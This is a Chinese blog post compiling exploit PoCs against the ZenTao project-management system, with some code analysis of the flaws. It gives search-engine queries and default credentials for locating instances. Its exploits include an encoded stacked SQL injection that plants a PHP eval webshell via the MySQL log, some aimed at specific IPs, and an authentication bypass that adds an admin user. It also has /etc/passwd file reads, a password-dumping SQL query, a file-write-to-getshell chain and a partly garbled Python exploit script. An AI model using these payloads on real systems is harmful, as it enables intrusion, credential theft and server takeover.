前言
禅道各版本漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。
小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。
这排版有点毁了,凑活看吧,呜呜呜呜呜。
这里总结一下目录
禅道产品介绍
资产测绘
基本信息收集
zentaopms-9.1.2-sql SQL注入&getshell
zentao-getshell 禅道8.2 - 9.2.1前台Getshell
禅道项目管理系统 身份认证绕过(QVD-2024-15263)
禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
禅道_11.6_api_getModel_api_sql_sql后台SQL注入漏洞
禅道-11.6-api-getModel-editor-save-filePath-后台任意文件写入漏洞
禅道产品介绍
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
官网地址
https://www.zentao.net/


资产测绘
#建议多种测绘引擎交叉使用
fofa
app="易软天创-禅道系统"icon_hash="53755730"
hunter
app.name="ZenTao 禅道 ALM"
quaker
app:"禅道系统"favicon: "b1d3deb4bd16c8c1637235515deea114"



基本信息收集
查看禅道版本信息
/zentao/index.php?mode=getconfig

产看报错信息获取绝对路径
/zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php

默认口令,但是一般都强制修改
admin/123456
zentaopms-9.1.2-sql SQL注入&getshell
poc
//sleep(5)
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/
//开启日志:set global general_log='on';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2ZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/
//更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjc1ZjY2Njk2YzY1M2QyNzJmNzc3Nzc3MmY3YTY1NmU3NDYxNmY3MDZkNzMyZjZkNmY2NDc1NmM2NTJmNmQ2OTczNjMyZjY1Nzg3NDJmNmQ2ZjY0NjU2YzJmNjY2ZjZmMmU3MDY4NzAyNzNiO1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9 HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/
//注入shell语句:select '<?php @eval($_POST[1])?>';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTZjNjU2Mzc0MjAyNzNjM2Y3MDY4NzAyMDQwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMzE1ZDI5M2YzZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/
//关闭日志:set global general_log='off';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2NjY2MjczYjtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/
漏洞复现过程
直接使用vulfocus进行复现

访问地址
http://123.58.224.8:51014/zentaopms/www/index.php

版本查看
http://123.58.224.8:51014/zentaopms/www/index.php?mode=getconfig

路劲获取
http://123.58.224.8:51014//zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php
直接使用poc进行攻击
//sleep(5)
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

src到这一步停手,如果需要深入继续
//开启日志:set global general_log='on';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2ZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjc1ZjY2Njk2YzY1M2QyNzJmNzc3Nzc3MmY3YTY1NmU3NDYxNmY3MDZkNzMyZjZkNmY2NDc1NmM2NTJmNmQ2OTczNjMyZjY1Nzg3NDJmNmQ2ZjY0NjU2YzJmNjY2ZjZmMmU3MDY4NzAyNzNiO1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9 HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//注入shell语句:select '<?php @eval($_POST[1])?>';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTZjNjU2Mzc0MjAyNzNjM2Y3MDY4NzAyMDQwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMzE1ZDI5M2YzZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

访问查看
http://123.58.224.8:51014/zentaopms/module/misc/ext/model/foo.php

然后使用蚁剑进行连接

漏洞复现说明
漏洞点:orderBy处理过程中存在SQL注入问题,可堆叠注入。拿其中一个payload演示编码步骤如下:
选择所用payload语句:select sleep(5)将SQL语句hex编码:0x73656c65637420736c656570283529
将hex编码后的参数插入json中:{"orderBy":"order limit 1;SET @SQL=0x73656c65637420736c656570283529;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}
将json数据进行base64编码:eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
将base64编码后的数据插入请求:http://118.193.36.37:10363/zentaopms/www/index.php%EF%BC%9Fm=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
注:每一个请求中都需要手动添加refer字段:Referer:http://118.193.36.37:10363/zentaopms/
获取webshell过程的payload如下:(采用的是日志写shell的方式)
开启日志:set global general_log='on';
更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';
注入shell语句:select '<?php @eval($_POST[1])?>';
关闭日志:set global general_log='off';
访问webshell获取flag:链接:http://123.58.224.8:51014/zentaopms/module/misc/ext/model/foo.php 密码:1
zentao-getshell 禅道8.2 - 9.2.1前台Getshell
脚本github获取
https://github.com/jas502n/zentao-getshell
python exp.py http://127.0.0.1:81/ jas502n.php

禅道项目管理系统 身份认证绕过(QVD-2024-15263)
影响范围:
v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)
漏洞复现

使用Docker搭建一个测试环境,使用官方镜像18.11版本。
docker run -d -p 60028:80 -e MYSQL_INTERNAL=true hub.zentao.net/app/zentao:18.11
点击下一步下一步完成安装。

首先请求包访问接口获取有效cookie。
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close

获取有效cookie后,可以根据API手册构造请求包,例如,添加用户。回显状态码403则表示添加成功。
官方手册地址:https://www.zentao.net/book/api/setting-369.html
POST /biz/api.php/v1/users HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: zentaosid=d95c19a900256b7dc3c3f1866b1d121c
{"account": "asda33", "password": "QQqq123456", "realname": "asda33", "role": "top", "group": "1"}

poc检测
nuclei脚本
id: easycorp-zentao-pms-idor-exp
info:
name: 禅道项目管理系统身份认证绕过漏洞
author: GuoRong_X
severity: critical
description: |
- 禅道系统某些API设计为通过特定的鉴权函数进行验证,但在实际实现中,这个鉴权函数在鉴权失败后并不中断请求,而是仅返回一个错误标志,这个返回值在后续没有被适当处理。此外,该系统在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
reference:
- https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
metadata:
verified: true
fofa-query: title="用户登录- 禅道"
tags: zentao
variables:
username: '{{rand_base(6)}}'
password: '{{rand_base(12)}}'http:
- raw:
- |
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}- |
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}- |
GET /biz/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}- |
GET /max/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}- |
POST /api.php/v1/users HTTP/1.1
Host: {{Hostname}}{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
- |
POST /zentao/api.php/v1/users HTTP/1.1
Host: {{Hostname}}{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
- |
POST /biz/api.php/v1/users HTTP/1.1
Host: {{Hostname}}{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
- |
POST /max/api.php/v1/users HTTP/1.1
Host: {{Hostname}}{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
cookie-reuse: truematchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_5, "{{username}}") || contains(body_6, "{{username}}") || contains(body_7, "{{username}}") || contains(body_8, "{{username}}")'
condition: andextractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'
或者直接使用工具
https://github.com/kkbo8005/poctools

还可以使用afrog进行检测

禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
禅道 11.6 api-getModel-api-getMethod-filePath 版本中对用户接口调用权限过滤不完善,导致调用接口导致任意文件读取漏洞。
poc
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1
环境搭建
这里使用docker环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

漏洞复现
poc1
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤
poc2
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1

分析poc1
查看module/file/moudel.php下的parseCSV方法
public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("x82x32", "x10", $content);
$lines = explode("n", $content);$col = -1;
$row = 0;
$data = array();
foreach($lines as $line)
{
$line = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/("{2,})(,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);/* if only one column then line is the data. */
if(strpos($line, ',') === false and $col == -1)
{
$data[$row][0] = trim($line, '"');
}
else
{
/* if col is not -1, then the data of column is not end. */
if($col != -1)
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] .= "n" . $line;
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
continue;
}
else
{
$data[$row][$col] .= "n" . substr($line, 0, $pos);
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$line = substr($line, $pos + 2);
$col++;
}
}if($col == -1) $col = 0;
/* explode cols with delimiter. */
while($line)
{
/* the cell has '"', the delimiter is '",'. */
if($line{0} == '"')
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] = substr($line, 1);
/* if line is not empty, then the data of cell is not end. */
if(strlen($line) >= 1) continue 2;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 1, $pos - 1);
$line = substr($line, $pos + 2);
}
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
}
else
{
/* the delimiter default is ','. */
$pos = strpos($line, ',');
/* if line is not delimiter, then line is the data of cell. */
if($pos === false)
{
$data[$row][$col] = $line;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
}$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$col++;
}
}
$row ++;
$col = -1;
}return $data;
}
这里可以看到以file为模块名、parseCSV为方法名去调用读取文件
读取的文件名$filename参数可控,例如读取/etc/passwd
分析poc2
查看module/api/moudel.php下的getMethod方法
public function getMethod($filePath, $ext = '')
{
$fileName = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);$method = new ReflectionMethod($className . $ext, $methodName);
$data = new stdClass();
$data->startLine = $method->getStartLine();
$data->endLine = $method->getEndLine();
$data->comment = $method->getDocComment();
$data->parameters = $method->getParameters();
$data->className = $className;
$data->methodName = $methodName;
$data->fileName = $fileName;
$data->post = false;$file = file($fileName);
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
{
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
{
$data->post = true;
}
}
return $data;
}
fileName = dirname(filepath) 这段则为返回的目录名
所以读取/etc/passwd则需要写为/etc/passwd/1来绕过
使用工具进行检测

禅道_11.6_api_getModel_api_sql_sql后台SQL注入漏洞
禅道 11.6 api-getModel-api-sql-sql文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息,危害服务器安全。
poc
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user

漏洞分析过程(佩奇文库收录的大手子分析的)
这里使用docker环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

先对禅道的调用流程进行分析,先查看目录为www/index.php首页文件中

这里使用router::createApp创建了一个APP对象
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
来到framework/base/router.class.php文件查看到createApp方法

public static function createApp($appName = 'demo', $appRoot = '', $className = '')
{
if(empty($className)) $className = __CLASS__;
return new $className($appName, $appRoot);
}
这里New了一个对象,查看一下调用方法(348行)

$this->setConfigRoot();
public function setConfigRoot()
{
$this->configRoot = $this->basePath . 'config' . DS;
}
在363行处调用了loadMainConfig方法
$this->loadMainConfig();
public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
include $mainConfigFile;
}
这里包含了配置文件config.php配置文件,文件目录为/config/config.php
在25行定义了调用方法
$config->requestType = 'PATH_INFO'; // 请求类型:PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar = 'm'; // 请求类型为GET:模块变量名。 requestType=GET: the module var name.
$config->methodVar = 'f'; // 请求类型为GET:模块变量名。 requestType=GET: the method var name.
$config->viewVar = 't'; // 请求类型为GET:视图变量名。 requestType=GET: the view var name.
$config->sessionVar = 'zentaosid'; // 请求类型为GET:session变量名。 requestType=GET: the session var name.
$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
可以发现这里存在两种路由PATH_INFO|PATH_INFO2:一种是m、f、t来进行调用。另外一种是通过-来进行调用
在index.php中的66行
$app->parseRequest();
public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}
看到这一条则是判断力两种调用方法
$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'
跟进setRouteByPathInfo方法
public function setRouteByPathInfo()
{
if(!empty($this->URI))
{
/*
* 根据$requestFix分割符,分割网址。
* There's the request seperator, split the URI by it.
**/
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}
/*
* 如果网址中没有分隔符,使用默认的方法。
* No reqeust seperator, use the default method name.
**/
else
{
$this->setModuleName($this->URI);
$this->setMethodName($this->config->default->method);
}
}
else
{
$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
}
$this->setControlFile();
}
所以可以推断出调用的方法
例如登录页面有两种访问方法
http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
http://xxx.xxx.xxx.xxx/user-login.html
再看一下checkPriv方法
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
这里检测了调用模块和方法的权限,可以知道除了isOpenMethod中定义的公开模块和方法之外,其他的方法都是需要登录的
最后是$app->loadModule();这段代码
public function loadModule()
{
$appName = $this->appName;
$moduleName = $this->moduleName;
$methodName = $this->methodName;/*
* 引入该模块的control文件。
* Include the control file of the module.
**/
$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
chdir(dirname($file2Included));
helper::import($file2Included);/*
* 设置control的类名。
* Set the class name of the control.
**/
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);/*
* 创建control类的实例。
* Create a instance of the control.
**/
$module = new $className();
if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
$this->control = $module;/* include default value for module*/
$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;/*
* 使用反射机制获取函数参数的默认值。
* Get the default settings of the method to be called using the reflecting.
*
* */
$defaultParams = array();
$methodReflect = new reflectionMethod($className, $methodName);
foreach($methodReflect->getParameters() as $param)
{
$name = $param->getName();$default = '_NOT_SET';
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
{
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
}
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
{
$default = $paramDefaultValue[$className][$methodName][$name];
}
elseif($param->isDefaultValueAvailable())
{
$default = $param->getDefaultValue();
}$defaultParams[$name] = $default;
}/**
* 根据PATH_INFO或者GET方式设置请求的参数。
* Set params according PATH_INFO or GET.
*/
if($this->config->requestType != 'GET')
{
$this->setParamsByPathInfo($defaultParams);
}
else
{
$this->setParamsByGET($defaultParams);
}if($this->config->framework->filterParam == 2)
{
$_GET = validater::filterParam($_GET, 'get');
$_COOKIE = validater::filterParam($_COOKIE, 'cookie');
}/* 调用该方法 Call the method. */
call_user_func_array(array($module, $methodName), $this->params);
return $module;
}
通过之前获取的moduleName包含对应的control类文件并实例化,随后调用setParamsByPathInfo方法从路径中获取方法对应的参数值,最后通过call_user_func_array方法调用对应control类中的对应方法并赋值。
我们查看module/api/control.php文件中的getModel方法

这里通过call_user_func_array函数调用所有的model文件的所有方法。
$result = call_user_func_array(array(&$module, $methodName), $params);
可以看到module/api/moudel.php中的sql函数
public function sql($sql, $keyField = '')
{
$sql = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}
这里并没有进行过滤,只使用了代码$ sql=trim( $sql)过滤了空格
我们看一下这里的调用这个方法需要的权限

禅道-11.6-api-getModel-editor-save-filePath-后台任意文件写入漏洞
poc
POST /api-getModel-editor-save-filePath=/tmp/test HTTP/1.1
Host: 192.168.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequestfileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>

成功写入文件/tmp/test

通过文件包含运行我们上传的文件,进行getshell
/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/test/1234
漏洞检测脚本
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.techimport base64
import requests
import random
import re
import json
import sysdef title():
print('+------------------------------------------')
print('+ �33[34mPOC_Des: http://wiki.peiqi.tech �33[0m')
print('+ �33[34mGithub : https://github.com/PeiQi0 �33[0m')
print('+ �33[34m公众号 : PeiQi文库 �33[0m')
print('+ �33[34mVersion: zentao version = 11.6 �33[0m')
print('+ �33[36m使用格式: python3 poc.py �33[0m')
print('+ �33[36mUrl >>> http://xxx.xxx.xxx.xxx �33[0m')
print('+ �33[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) �33[0m')
print('+------------------------------------------')def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("�33[32m[o] 禅道版本为:{}�33[0m".format(version))except Exception as e:
print("�33[31m[x] 获取版本失败 �33[0m", e)
sys.exit(0)def POC_2(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
data = {"fileContent":"<?php phpinfo();?>"}
write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
try:
response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
print("�33[32m[o] 尝试写入php文件... �33[0m")
except:
print("�33[31m[x] 写入php文件失败 �33[0m")
sys.exit(0)def POC_3(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
try:
response = requests.get(url=vuln_url, headers=headers, timeout=10)
if "System" in response.text:
print("�33[32m[o] 成功写入文件,存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 �33[0m".format(target_url))
else:
print("�33[31m[x] 读取php文件失败 �33[0m")
except:
print("�33[31m[x] 读取php文件失败 �33[0m")
if __name__ == '__main__':
title()
target_url = str(input("�33[35mPlease input Attack UrlnUrl >>> �33[0m"))
